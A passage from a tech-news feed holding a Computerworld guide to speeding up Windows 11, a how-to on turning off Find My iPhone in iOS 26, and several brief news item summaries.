<p>If you’re worried about one of the listed applications, you can go to a site run by Reason Software called “<a href="https://www.shouldiblockit.com/" target="_blank" rel="noreferrer noopener">Should I Block It?</a>” and search for the file name. You’ll usually find very solid information about the program or service.</p>



<p>Now that you’ve selected all the programs that you want to disable at startup, the next time you restart your computer, the system won’t launch those unnecessary programs automatically, and your PC may run faster.</p>



<h2 class="wp-block-heading">2. Turn off unused apps with high resource usage</h2>



<p>It’s easy to forget just how many apps you’ve got running at the same time in Windows. Sometimes your PC’s sluggishness can be due to running too many apps you’re not currently using — or a single app that’s taking up a lot of resources.</p>



<p>First launch Task Manager using one of the methods covered in the previous tip. If you’re already in Task Manager, click the <em>Processes</em> icon on the left side of the screen (three squares in a grid, second from top) to get to the Processes screen. You’ll see a list of every app or process you’re currently running.</p>



<p>Look for apps you’re currently running but not actively using, and also look for any not running with high memory or CPU usage. Right-click any app you want to close and select <em>End task</em>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/win11-speed-tips-02-task-manager-processes.jpg?quality=50&amp;strip=all" alt="screenshot of task manager processes screen with list of processes and cpu and memory usage" class="wp-image-4177292" width="766" height="583" sizes="auto, (max-width: 766px) 100vw, 766px"><figcaption class="wp-element-caption"><p>Use Task Manager to identify and shut down unused apps using lots of system resources.</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<h2 class="wp-block-heading">3. Use Efficiency Mode</h2>



<p>Task Manager has another trick up its sleeve for juicing Windows 11 performance. Efficiency Mode can speed up your PC and improve laptop battery life. It lowers the process priority of background applications, among other efficiency tricks.</p>



<p>The term is a bit of a misnomer, because you can’t put your entire PC into Efficiency Mode. Instead, you use Task Manager to put individual apps and processes into it. There’s one caveat: You’ll only be able to use it on some apps and processes.</p>



<p>On the Processes screen in Task Manager (see previous tip), look through the list of currently running apps and processes. Click the app or process you want to put into Efficiency Mode, click the <em>Efficiency mode</em> icon at the top right of the screen, and then confirm that you want to turn on Efficiency Mode for the app.</p>



<p>Note that if the Efficiency mode icon is grayed out when you click an app or process, you won’t be able to use it. Also, some apps, including Microsoft Edge, automatically work in Efficiency Mode by default, and the mode can’t be turned off.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/03/win11-speed-tips-02-efficiency-mode.jpg?quality=50&amp;strip=all" alt="windows task manager with turn on efficiency mode pop-up" class="wp-image-3950725" width="766" height="583" sizes="auto, (max-width: 766px) 100vw, 766px"><figcaption class="wp-element-caption"><p>Turning on Efficiency Mode for an app.</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<h2 class="wp-block-heading">4. Use automatic Windows maintenance</h2>



<p>In the background, Windows 11 constantly performs maintenance on your PC, doing things like security scanning and performing system diagnostics to make sure everything is up to snuff. It automatically fixes problems it finds, which helps your PC run at peak performance. The automatic maintenance runs every day at 2:00 a.m. if your device is plugged into a power source and is asleep.</p>



<p>However, that feature may have been accidentally turned off, or it may not have run recently if you shut down your PC at night (rather than putting it in Sleep mode) or you haven’t had your laptop plugged in for a while. You should make sure it’s turned on and runs every day. You can also run it manually if you’d like.</p>



<p>Type <strong>control</strong> in the search box on the taskbar and select <em>Control Panel</em> from the results to run the Control Panel app. In the app, select <em>System and Security &gt; Security and Maintenance</em>. In the Maintenance section, under Automatic Maintenance, click <em>Start maintenance</em> if you want it to run now.</p>



<p>To make sure that it runs every day, click <em>Change maintenance settings</em>, and on the screen that appears, select the time you’d like maintenance to run and check the box next to <em>Allow scheduled maintenance to wake up my computer at the scheduled time</em>. Then click <em>OK</em>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/03/win11-speed-tips-03-schedule-automatic-maintenance.jpg?quality=50&amp;strip=all" alt="automatic maintenance scheduling screen in windows 11" class="wp-image-3856525" width="784" height="634" sizes="auto, (max-width: 784px) 100vw, 784px"><figcaption class="wp-element-caption"><p>Here’s how to set a time each day for Windows 11 to run its maintenance tasks.</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<h2 class="wp-block-heading">5. Kill adware and bloatware</h2>



<p>It may be that what’s slowing your PC down isn’t Windows 11, but bloatware or adware that takes up CPU and system resources. Adware and bloatware are particularly insidious because they may have been installed by your computer’s manufacturer. (This is generally not a problem for business PCs but is very common on consumer devices.) They typically run automatically at startup without you even knowing it. You’ll be amazed at how much better your PC will run if you get rid of it.</p>



<p>Start by running a system scan to find adware and malware. If you’ve already installed a security suite such as Norton Security or McAfee LiveSafe, you can use that. Microsoft Defender Antivirus, the anti-malware tool built into the Windows Security app, also does a great job. Type <strong>windows security</strong> in the search box, press Enter, and on the screen that appears, click <em>Virus &amp; threat protection</em> and then click <em>Quick scan</em>. Windows Security will look for malware and remove any it finds.</p>



<p>You should get a second opinion, though, so consider a free tool like <a href="https://www.malwarebytes.com/mwb-download" target="_blank" rel="noreferrer noopener">Malwarebytes</a>. The free version scans for malware and adware and removes what it finds; the paid version offers always-on protection to stop infections in the first place.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/win11-speed-tips-05-malwarebytes.jpg?quality=50&amp;strip=all" alt="screenshot of malwarebytes software scanning for threats" class="wp-image-4177291" width="1024" height="720" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Malwarebytes scans for and removes malware.</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<p>Now that you’ve done all that, check for bloatware and uninstall it. A good free anti-bloatware tool is <a href="https://www.bcuninstaller.com/" target="_blank" rel="noreferrer noopener">Bulk Crap Uninstaller</a>. You can also go to the website <a href="https://www.shouldiremoveit.com/" target="_blank" rel="noreferrer noopener">Should I Remove It?</a> — it offers recommendations on what software is useful, and what you can uninstall.</p>



<p>There’s a section of the website devoted to <a href="https://www.shouldiremoveit.com/oems-bloatware.aspx" target="_blank" rel="noreferrer noopener">advice on how to remove bloatware on PCs from specific manufacturers</a>. I highly recommend going there, because it lists all the bloatware different manufacturers install on their PCs. That section of the site also compares how much bloatware major manufacturers ship on their PCs. It rates Toshiba as having the most and Acer as having the least.</p>



<p>Finally, when you buy a new PC online, check whether there’s an option to leave off trial software and software you don’t need to run your PC. That will stop bloatware from getting on your system in the first place.</p>



<h2 class="wp-block-heading">6. Turn off search indexing</h2>



<p>Windows 11 search performs indexing in your hard disk in the background, allowing you to search your PC more quickly than if no indexing were being done. That’s good for fast searches, but not so good for slower PCs, because indexing can cause a performance hit. You can give a slower machine a speed boost by turning off indexing. Even if you have an SSD disk, turning off indexing can improve your speed, because the constant writing to disk that indexing does can eventually slow down SSDs.</p>



<p>To turn it off, type <strong>services.msc</strong> into the search box on the taskbar and press <em>Enter</em>. The Services app appears. Scroll down to either <em>Indexing Service</em> or <em>Windows Search</em> in the list of services. Double-click it, and on the screen that appears, click <em>Stop</em>. Then reboot your machine. Your searches may be slightly slower, but you also may not notice the difference. You should, though, get an overall speed boost.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/03/win11-speed-tips-05-stop-windows-search-indexing.jpg?quality=50&amp;strip=all" alt="turning off windows indexing" class="wp-image-3856524" width="806" height="593" sizes="auto, (max-width: 806px) 100vw, 806px"><figcaption class="wp-element-caption"><p>Here’s how to turn off Windows 11 indexing.</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<p>Alternatively, you can turn off indexing only for files in certain locations. In this way, you can still index files and folders you often search for but turn off indexing for the rest of your hard disk. So you’d still get fast searches for files you use often, while increasing your PC’s performance.</p>



<p>To do it, type <strong>index</strong> in the Windows 11 search box and click the <em>Indexing Options</em> result that appears. The Indexing Options page of the Control Panel appears. Click the <em>Modify</em> button, and you’ll see a list of locations that are being indexed, such as Microsoft Outlook, your personal files, and so on. Uncheck the box next to any location, and it will no longer be indexed.</p>



<h2 class="wp-block-heading">7. Clean out your hard drive</h2>



<p>A bloated hard drive filled with files you don’t need can slow down your PC. Taking a few minutes to clean it can give an immediate speed boost. A built-in Windows 11 tool called Storage Sense will do the job for you.</p>



<p>Launch the Settings app, select <em>System &gt; Storage</em>, scroll down to the “Storage management” section, and next to Storage Sense, move the toggle from Off to On. From now on, Windows will constantly monitor your PC and delete old junk files you no longer need — temporary files, files in the Downloads folder that haven’t been changed in a month, and old Recycle Bin files.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/win11-speed-tips-07-storage-sense.jpg?quality=50&amp;strip=all&amp;w=1024" alt="screenshot of windows settings  /&gt; system &gt; storage screen with storage sense toggle highlighted" class="wp-image-4177288" width="1024" height="796" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Here’s where to turn on Storage Sense.</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<p>You can also customize when Storage Sense runs and what should be deleted automatically — for example, whether to delete files from the Downloads folder after they’ve been there for more than 30 days. To do it, click the right-facing arrow next to the Storage Sense On/Off slider.</p>



<h2 class="wp-block-heading">8. Disable shadows, animations, and visual effects</h2>



<p>Those who like eye candy are probably big fans of Windows 11’s shadows, animations, and visual effects. They typically don’t affect performance on fast, newer PCs. But they can exact a performance hit on older, slower machines.</p>



<p>If you’ve got a slower PC, turn them off. To do it, in the Windows 11 search box, type <strong>sysdm.cpl</strong>, press <em>Enter</em>, and then click the <em>sysdm.cpl </em>icon. That launches the Control Panel’s System Properties dialog box. Click the <em>Advanced</em> tab and click <em>Settings</em> in the Performance section. That brings you to the Performance Options dialog box. (Make sure you’re on the Visual Effects tab of the dialog box.) You’ll see a varied list of animations and special effects.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/03/win11-speed-tips-07-performance-options.jpg?quality=50&amp;strip=all" alt="performance options dialog box listing animations and other options to turn off for faster performance" class="wp-image-3856532" width="800" height="602" sizes="auto, (max-width: 800px) 100vw, 800px"><figcaption class="wp-element-caption"><p>The Performance Options dialog box lets you turn off visual effects that might be slowing down Windows 11.</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<p>If you love to tweak, you can turn individual options on and off. These are the animations and special effects you’ll probably want to turn off, because they have the greatest effect on system performance:</p>



<ul class="wp-block-list">
<li>Animate controls and elements inside windows</li>



<li>Animate windows when minimizing and maximizing</li>



<li>Animations in the taskbar</li>



<li>Fade or slide menus into view</li>



<li>Fade or slide ToolTips into view</li>



<li>Fade out menu items after clicking</li>



<li>Show shadows under windows</li>
</ul>



<p>However, it’s a lot easier to just select the <em>Adjust for best performance</em> option at the top of the screen and click <em>OK</em>. Windows 11 will then turn off the effects that slow down your system.</p>



<h2 class="wp-block-heading">9. Disable transparency</h2>



<p>To get an even bigger speed boost, go beyond turning off shadows, animations, and visual effects. Also disable the transparency effects in the taskbar and other Windows 11 locations. Windows does a surprising amount of heavy lifting to create transparency effects, and turning them off can make a difference in system performance.</p>



<p>To do it, run the Settings app and select<em> Personalization &gt; Colors</em>, then move the <em>Transparency effects</em> slider to <em>Off</em>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/win11-speed-tips-09-transparency.jpg?quality=50&amp;strip=all&amp;w=1024" alt="screenshot of windows settings  /&gt; personalization &gt; colors screen with transparency effects toggle highlighted" class="wp-image-4177289" width="1024" height="490" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Turning off Windows 11’s transparency effects can help speed up performance.</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<h2 class="wp-block-heading">10. Change your power settings</h2>



<p>Your Windows 11 PC’s power settings let you balance its energy use with its performance. If you’re using the most power-efficient setting, you’re slowing down your PC, because the setting reduces your PC’s performance to save energy. (Even desktop PCs typically have a power-saving setting.) Changing your power setting to one of the less power-efficient options will give you an instant performance boost.</p>



<p>To do it, run the Settings app, then choose <em>System</em> and click the right-facing arrow next to <em>Power</em>. Depending on whether you’re using a laptop or a desktop PC (and if you’re using a laptop, whether it’s plugged in), you’ll see either a “Plugged in” or “On battery” setting that lists the power mode you’re using. Click the drop-down arrow next to it and choose the setting you want.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/03/win11-speed-tips-09-power-settings.jpg?quality=50&amp;strip=all" alt="changing power mode in windows 11 settings" class="wp-image-3856527" width="871" height="499" sizes="auto, (max-width: 871px) 100vw, 871px"><figcaption class="wp-element-caption"><p>Change your power settings to give your PC a performance boost.</p></figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<p><em>Best Performance</em> gives you the most oomph but uses the most power. <em>Balanced</em> finds a happy medium between power use and better performance, and <em>Best Power Efficiency</em> does everything it can to give you as much battery life as possible. Desktop users have no reason to choose Best Power Efficiency, and even laptop users should consider the Balanced option when unplugged.</p>



<h2 class="wp-block-heading">11. Turn off Windows tips and tricks</h2>



<p>Windows 11 constantly watches what you’re doing on your PC and gives you tips about things you might want to do with the operating system. I’ve never found these tips helpful. And I don’t like the privacy implications of Windows constantly taking a virtual look over my shoulder. (Also see: <a href="https://www.computerworld.com/article/1616461/how-to-protect-your-privacy-in-windows-11.html">How to protect your privacy in Windows 11</a>.)</p>



<p>Beyond that, this monitoring can also make your PC run more sluggishly. So to speed things up, tell Windows to stop being so nosy and giving you advice. To do it, run the Settings app and select <em>System &gt; Notifications</em>. Scroll down to <em>Additional settings</em> and click the down arrow. From the options that appear, uncheck the box marked <em>Get tips and suggestions when using Windows</em>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/win11-speed-tips-11-notifications-windows-tips.jpg?quality=50&amp;strip=all" alt="screenshot of Windows notifications additional settings with windows tips checkbox" class="wp-image-4177285" width="858" height="187" sizes="auto, (max-width: 858px) 100vw, 858px"><figcaption class="wp-element-caption"><p>Turn off Windows’ suggestions to help things run more smoothly (and regain a measure of privacy).</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<h2 class="wp-block-heading">12. Disable Game Mode</h2>



<p>Windows 11’s Game Mode optimizes your PC for playing games. When it detects that you’re playing a game, it prioritizes system resources for gaming, taking them away from other apps and background processes. That’s great for serious gamers, but when you’re not playing games, it can slow down your system because it keeps some system resources in reserve in case you start playing a game. It occasionally causes stability issues as well. So turning off Game Mode may be able to give your PC a quick boost. (You can always turn it back on again when you want to play a game.)</p>



<p>Game Mode is turned on by default, so even if you’ve never played a game on your PC, it’s probably enabled. To turn it off, go to <em>Settings &gt; Gaming &gt; Game Mode</em> and move the Game Mode slider to Off.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/win11-speed-tips-12-game-mode.jpg?quality=50&amp;strip=all&amp;w=1024" alt="screenshot of windows settings  /&gt; gaming screen with game mode area highlighted" class="wp-image-4177287" width="1024" height="428" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Game Mode can sometimes cause stability and performance issues, so turning it off may give your PC a boost.</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<h2 class="wp-block-heading">13. Update device drivers</h2>



<p>Your Windows 11 PC can become a slowpoke if its drivers are old and in the way. Outdated drivers can exact a big performance hit. Graphics drivers are often the biggest culprit in driver-related slowdowns. To check whether your graphics driver is outdated, and to update to the latest one:</p>



<ol start="1" class="wp-block-list">
<li>In the Windows search box, type <strong>device manager</strong> and click on the <em>Device Manager</em> icon that appears.</li>



<li>Scroll to the Display Adapters entry and click the side-facing arrow to expand it.</li>



<li>Right-click the driver, and from the context menu that appears, select <em>Update Driver</em>.</li>
</ol>



<p>You’ll be asked whether to have Windows search for an updated driver, or whether you want to find one and install it manually. Your best bet is to let Windows do the work. Follow the on-screen instructions to get the driver installed.</p>



<p>You can use the Device Manager to update all your drivers this way. That’s time-consuming, so consider asking Windows to do the work for you. To do it, launch the Settings app (pressing the Windows key + I is a good shortcut for doing it) and select <em>Windows Update</em> from the left pane.  Select <em>Advanced Options &gt; Optional Updates</em>. You’ll see a list of all the updates Windows has found but hasn’t installed. Select any of the drivers you want to install, then click <em>Download &amp; install</em>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/win11-speed-tips-13-update-drivers.jpg?quality=50&amp;strip=all&amp;w=1024" alt="screenshot of windows update  /&gt; advanced options &gt; optional updates screen listing an intel driver update" class="wp-image-4177290" width="1024" height="534" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Tell Windows Update to update your drivers.</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<h2 class="wp-block-heading">14. Turn off background app permissions</h2>



<p>Some apps run various processes in the background even if you don’ t launch them. You’ll likely never know they’re doing it, and they can cause unexpected slowdowns and a sluggish PC. <a href="https://support.microsoft.com/en-us/windows/windows-background-apps-and-your-privacy-83f2de44-d2d9-2b29-4649-2afe0913360a" target="_blank" rel="noreferrer noopener">Microsoft says</a> these background processes do things such as syncing or sending notifications. That can slow your PC down, especially if more than one app is doing it.</p>



<p>You can head off performance problems by not allowing the apps to run in the background. To do it:</p>



<ol class="wp-block-list">
<li>Go to <em>Settings &gt; Apps &gt; Installed apps</em>.</li>



<li>Click the three horizontal dots on the right of any app whose permissions you want to turn off and select <em>Advanced options</em>.</li>



<li>Click the dropdown under “Background app permissions,” and choose <em>Never</em> if you want to stop the app from ever running a process in the background, or <em>Power optimized</em> if you want to let Windows decide whether to let the processes run when they won’t cause your PC to take a performance hit.</li>
</ol>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/win11-speed-tips-14-background-app-permissions.jpg?quality=50&amp;strip=all" alt="screenshot of settings  /&gt; apps &gt; installed apps &gt; claude with background app permissions dropdown menu" class="wp-image-4177284" width="882" height="512" sizes="auto, (max-width: 882px) 100vw, 882px"><figcaption class="wp-element-caption"><p>Managing background app permissions properly can give your PC a performance boost.</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<h2 class="wp-block-heading">15. Roll back your PC to a previous state</h2>



<p>Sometimes your PC will slow down for no apparent reason, and stay slow. It could be a new driver slowing your system down. Perhaps accidentally you changed a system setting that caused the problem. It can be difficult, and often impossible, to get to the root of these kinds of problems and fix them.</p>



<p>If you’ve noticed that your computer has become sluggish recently, there’s something that might solve the issue: Restore your PC to the state it was in before the problem began. You can easily do this via System Restore.</p>



<p>To do it:</p>



<ol start="1" class="wp-block-list">
<li>Make sure System Restore is turned on by going to <em>Settings &gt; System &gt; About</em>, and under the “Device info” section, click <em>System protection</em>.</li>



<li>From the screen that appears, click <em>Configure</em> and select <em>Turn on system protection</em> if it’s not already turned on. Click <em>OK</em>.</li>



<li>You’ll be sent back to the System Protection screen. Click <em>System Restore</em>.</li>



<li>On the screen that appears, select <em>Recommended restore</em> and click <em>Next</em> if you want to revert to the most recent restore point. Select <em>Choose a different restore point</em> if you want to choose one yourself, and click <em>Next</em>.</li>



<li>Restart your PC. It will revert to its previous state. Note that when you do this, your documents, pictures, and personal data won’t be deleted.</li>
</ol>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/03/win11-speed-tips-14-system-restore.jpg?quality=50&amp;strip=all" alt="turning on system restore in the restore settings dialog box" class="wp-image-3856523" width="407" height="466" sizes="auto, (max-width: 407px) 100vw, 407px"><figcaption class="wp-element-caption"><p>Here’s how to turn on System Restore.</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<h2 class="wp-block-heading">16. Restart Windows</h2>



<p>Here’s one of IT’s not-quite-secret weapons for troubleshooting and speeding up a PC: shut it down and restart it. Doing that clears out any excess use of RAM that otherwise can’t be cleared. It also kills processes that you might have set in motion and are no longer needed, but that continue running and slow your system.</p>



<p>If your Windows 11 PC has turned sluggish over time for no apparent reason, you may be surprised at how much more quickly it will run when you do this. I can vouch for it, and I restart my Windows 11 PCs regularly even if they’re not sluggish, just as a precautionary measure.</p>



<p><em>This article was originally published in February 2023 and most recently updated in June 2026.</em></p>



<h4 class="wp-block-heading"><strong>More Windows 11 tips:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/1616436/windows-11-cheat-sheet.html">Windows 11 cheat sheet</a></li>



<li><a href="https://www.computerworld.com/article/1631342/windows-11-productivity-tips.html">8 ways to be more productive in Windows 11</a></li>



<li><a href="https://www.computerworld.com/article/1616461/how-to-protect-your-privacy-in-windows-11.html">How to protect your privacy in Windows 11</a></li>



<li><a href="https://www.computerworld.com/article/1674590/repair-windows-10-and-11-step-by-step-guide.html">How to repair Windows 10 or 11 in 4 steps</a></li>



<li><a href="https://www.computerworld.com/article/1613870/data-recovery-in-windows.html">6 steps to recover missing data in Windows</a></li>



<li><a href="https://www.computerworld.com/article/1639336/how-to-fix-a-windows-black-screen.html">How to fix a Windows black screen</a></li>



<li><a href="https://www.computerworld.com/article/1614415/how-to-fix-a-frozen-start-menu-or-taskbar-in-windows.html">The fast way to fix a frozen Start menu or taskbar in Windows</a></li>



<li><a href="https://www.computerworld.com/article/1682358/microsoft-cheat-sheets-dive-into-windows-and-office-apps.html">Microsoft cheat sheets: Dive into Windows, Office, and Copilot</a></li>
</ul>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Turn Off Find My iPhone on iOS 26]]></title>
<description><![CDATA[If you're planning to sell your iPhone, trade it in, send it for repair, or transfer it to another Apple Account, one of the most important steps is turning off Find My iPhone. On iOS 26, Apple still requires users to disable Find My before certain actions because the feature is linked to Activat...]]></description>
<link>https://tsecurity.de/de/3574904/ios-mac-os/how-to-turn-off-find-my-iphone-on-ios-26/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3574904/ios-mac-os/how-to-turn-off-find-my-iphone-on-ios-26/</guid>
<pubDate>Fri, 05 Jun 2026 11:24:58 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If you're planning to sell your iPhone, trade it in, send it for repair, or transfer it to another Apple Account, one of the most important steps is turning off Find My iPhone. On iOS 26, Apple still requires users to disable Find My before certain actions because the feature is linked to Activation Lock, which prevents unauthorized access to your device.



The process is straightforward, but there are a few things you should know before getting started. In some cases, Apple's security features such as Stolen Device Protection, can add an extra verification step when turning off Find My.



Here's every method you can use to turn off Find My iPhone on iOS 26.



Table of contentsTurn Off Find My iPhone From SettingsTurn Off Find My Network (Optional)Remove Find My Using iCloudTurn Off Find My Before Selling or Trading InWhat to Do if You Can't Turn Off Find MyTroubleshooting StepsFAQsSummaryConclusion



Turn Off Find My iPhone From Settings



This is the fastest and most common method. You'll need your Apple Account password and an active internet connection.



When Find My is turned off, Activation Lock is removed from the device, making it ready for a new owner, repair service, or trade-in program.


















Open the Settings app.



Tap your Apple Account name at the top.



Select Find My.



Tap Find My iPhone.



Toggle off Find My iPhone.



Enter your Apple Account password when prompted.



Tap Turn Off to confirm.




After a few seconds, Find My will be disabled on your iPhone.



Turn Off Find My Network (Optional)



Apple's Find My Network allows supported iPhones to be located even when they're offline or powered off. If you want to completely disable device tracking, you can turn this off separately.




Open Settings.



Tap your Apple Account name.



Go to Find My.



Tap Find My iPhone.



Turn off Find My Network.



Confirm your selection if prompted.




Remove Find My Using iCloud



If you no longer have physical access to the iPhone, you can remove it from your Apple Account through iCloud.



This method is especially useful if you forgot to disable Find My before selling or giving away the device. Apple allows users to remove Activation Lock remotely after erasing the device.




Open a browser and sign in to iCloud Find Devices.



Open Find Devices.



Select the iPhone you want to remove.



If necessary, erase the device first.



Choose Remove This Device.



Confirm the removal request.




Once completed, the device can be activated by another user.



Turn Off Find My Before Selling or Trading In



Many users forget this step and discover the issue only after arriving at a trade-in location.



Apple requires Find My to be disabled before a trade-in can be completed because Activation Lock remains active while the feature is enabled. Some users with Stolen Device Protection enabled may encounter a security delay when attempting to turn it off in unfamiliar locations.




Back up your iPhone.



Turn off Find My.



Sign out of your Apple Account.



Erase all content and settings.



Hand over or sell the device.




What to Do if You Can't Turn Off Find My



Occasionally, the option may appear grayed out or refuse to disable.



Common causes include:




Incorrect Apple Account password.



No internet connection.



Stolen Device Protection restrictions.



Apple Account verification issues.



Software bugs requiring a restart or update.




Troubleshooting Steps




Connect to Wi-Fi or mobile data.



Restart your iPhone.



Verify your Apple Account password.



Update to the latest iOS 26 version.



Try again from a trusted location if Stolen Device Protection is enabled.




FAQs



Does turning off Find My remove Activation Lock? Yes. When Find My is disabled, Activation Lock is automatically removed from the iPhone.  Can I turn off Find My without my Apple Account password? No. Apple requires account verification before Find My can be disabled.  Can I disable Find My remotely? Yes, but typically you'll need to erase the device and then remove it from your Apple Account through iCloud.  Why is Find My important? The feature helps locate lost devices, activate Lost Mode, remotely erase data, and protect the device through Activation Lock.  Should I turn off Find My before factory resetting my iPhone? Yes. Apple recommends disabling Find My before erasing the device for sale, trade-in, or transfer.  



Summary




Open Settings &gt; Apple Account &gt; Find My &gt; Find My iPhone.



Turn off the Find My iPhone toggle.



Enter your Apple Account password.



Disable Find My Network if desired.



Remove the device from iCloud if you no longer have access to it.



Turn off Find My before selling, trading in, or repairing your iPhone.



Ensure you have internet access and your Apple Account credentials available.




Conclusion



Turning off Find My iPhone on iOS 26 only takes a few minutes, but it's an important step whenever you're transferring ownership of a device or preparing it for service. Whether you're using the Settings app directly on your iPhone or removing the device through iCloud, disabling Find My ensures Activation Lock is removed and the next owner can set up the device without issues. Before proceeding, make sure you know your Apple Account password and complete a backup if you want to keep your data safe.]]></content:encoded>
</item>
<item>
<title><![CDATA[6 AI Photo Restoration Trends (With Prompts to Try) for ChatGPT, Gemini, and More]]></title>
<description><![CDATA[Explore six AI photo restoration trends, from family archive repair to colorization, with prompts for restoring old and damaged photos.]]></description>
<link>https://tsecurity.de/de/3573710/it-nachrichten/6-ai-photo-restoration-trends-with-prompts-to-try-for-chatgpt-gemini-and-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573710/it-nachrichten/6-ai-photo-restoration-trends-with-prompts-to-try-for-chatgpt-gemini-and-more/</guid>
<pubDate>Thu, 04 Jun 2026 21:17:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Explore six AI photo restoration trends, from family archive repair to colorization, with prompts for restoring old and damaged photos.]]></content:encoded>
</item>
<item>
<title><![CDATA[Lost 50th Anniversary Surface repaired and returned to owner — what went wrong and how Microsoft fixed it]]></title>
<description><![CDATA[A rare 50th Anniversary Surface Laptop went missing during repair, exposing a gap in Microsoft’s service workflow. After the story gained traction, Microsoft tracked down the original unit, fixed it, and updated its process.]]></description>
<link>https://tsecurity.de/de/3573146/windows-tipps/lost-50th-anniversary-surface-repaired-and-returned-to-owner-what-went-wrong-and-how-microsoft-fixed-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573146/windows-tipps/lost-50th-anniversary-surface-repaired-and-returned-to-owner-what-went-wrong-and-how-microsoft-fixed-it/</guid>
<pubDate>Thu, 04 Jun 2026 17:39:52 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A rare 50th Anniversary Surface Laptop went missing during repair, exposing a gap in Microsoft’s service workflow. After the story gained traction, Microsoft tracked down the original unit, fixed it, and updated its process.]]></content:encoded>
</item>
<item>
<title><![CDATA[Demand Is Booming For New No Tech, Repairable Tractor]]></title>
<description><![CDATA[An anonymous reader quotes a report from 404 Media: The secondary market for decades old, low-tech John Deere tractors has been booming for years as farmers have sought reliable tractors that they can actually fix without having to deal with John Deere's repair monopoly. A Canadian company has se...]]></description>
<link>https://tsecurity.de/de/3571357/it-security-nachrichten/demand-is-booming-for-new-no-tech-repairable-tractor/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571357/it-security-nachrichten/demand-is-booming-for-new-no-tech-repairable-tractor/</guid>
<pubDate>Thu, 04 Jun 2026 05:36:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
